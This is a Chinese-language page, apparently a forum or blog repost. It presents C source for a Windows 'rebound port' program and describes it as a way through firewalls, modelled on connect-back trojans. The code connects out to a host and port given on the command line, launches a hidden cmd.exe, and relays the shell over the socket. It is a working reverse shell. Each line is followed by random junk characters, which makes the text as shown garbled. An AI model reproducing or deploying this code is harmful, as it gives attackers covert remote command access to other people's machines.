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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 THgzT\_zq  
^Cn]+0G#C8  
/* ============================== !otq X-  
Rebound port in Windows NT W4*BR_H&*  
By wind,2006/7 R9/xC7l@  
===============================*/ K}`p_)(  
#include hS{ *l9v7  
#include eBTedSM?t  
y/I ~x+ y  
#pragma comment(lib,"wsock32.lib") q;../h]Ne  
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void OutputShell(); 'lsq3!d.  
SOCKET sClient; (l8r>V  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M(zY[O  
Ym{%"EB  
void main(int argc,char **argv) $;i$k2n:  
{ Bb [e[,ah  
WSADATA stWsaData; PnIvk]"Ab  
int nRet; fyq] M_5  
SOCKADDR_IN stSaiClient,stSaiServer; d<GG (  
q\t>D _lU  
if(argc != 3) hf^`at  
{ FR,#s^kF  
printf("Useage:\n\rRebound DestIP DestPort\n"); k\&IFSp  
return; <<On*#80w  
} 0S:!Gv +  
|z|)r"*\4  
WSAStartup(MAKEWORD(2,2),&stWsaData); \v3> Eo[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~q?"w:@;x  
G'?f!fz;  
stSaiClient.sin_family = AF_INET; Sd$]b>b4O  
stSaiClient.sin_port = htons(0); 5f&{!N  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); , HI%Xn  
ym*#ZE`B!  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2PP-0 E  
{ BdB`  
printf("Bind Socket Failed!\n"); ooU Sb  
return; dbT^9: Q  
} @z$pPo0fW  
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stSaiServer.sin_family = AF_INET; fo\J \  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?Y6la.bc{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >c y.]uB  
@7l=+`.i  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W3{<e"  
{ iWN.3|r  
printf("Connect Error!"); $:u7Dv}\  
return; 3@TG.)N4  
} C*y6~AYN#  
OutputShell(); r< ?o}Qq  
} O{ %A&Ui  
3w^J"O/T  
void OutputShell() ^,Y~M_=  
{ ^W[B[Y<k  
char szBuff[1024]; ghobu}wuF  
SECURITY_ATTRIBUTES stSecurityAttributes; |6(qg5"  
OSVERSIONINFO stOsversionInfo; llaZP(pJ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K!- &Zv  
STARTUPINFO stStartupInfo; =Mu'+,dT  
char *szShell; ~0[G/A$]  
PROCESS_INFORMATION stProcessInformation; \/'#=q1  
unsigned long lBytesRead; X\p`pw$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o.A} ``  
t=W$'*P0}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ca5Sc, no  
stSecurityAttributes.lpSecurityDescriptor = 0; kJ#[UCqzM  
stSecurityAttributes.bInheritHandle = TRUE; i_9Cc$Qh<  
K+ 7yUF8XP  
,LW(mdIe(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q(&^9"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _]=TFz2O  
ndKvJH4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @u"kX2>Eq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?`T6CRZhr  
stStartupInfo.wShowWindow = SW_HIDE; )Vg{Y [!  
stStartupInfo.hStdInput = hReadPipe; OHtgn  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }W@#S_-e8  
#zSi/r/=1  
GetVersionEx(&stOsversionInfo); xu"94y+  
0+n&BkS'  
switch(stOsversionInfo.dwPlatformId) #.MIW*==  
{ L.T gJv43  
case 1: ?HEtrX,q  
szShell = "command.com"; p;n3`aVh  
break; XC7Ty'#"KX  
default: l?@MUsg+  
szShell = "cmd.exe"; +9 16ZPk  
break; qUEd E`B  
} "u Of~e"  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =2;mxJ#o  
W>q*.9}Y"  
send(sClient,szMsg,77,0); 5I)~4.U|,m  
while(1) U+9- li  
{ t-eKruj+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MAwC\7n+X  
if(lBytesRead) cwM#X;FGq  
{ oRT  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h7de9Rt  
send(sClient,szBuff,lBytesRead,0); nCffBc  
}  e8XM=$@  
else VW{aUgajO  
{ kO..~@ aY  
lBytesRead=recv(sClient,szBuff,1024,0); Qr|N)  
if(lBytesRead<=0) break; I8<Il ^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Giy3eva2  
} y"|K |QT  
} u@=+#q~/P  
Q*09 E  
return; ;1*m} uNz  
}
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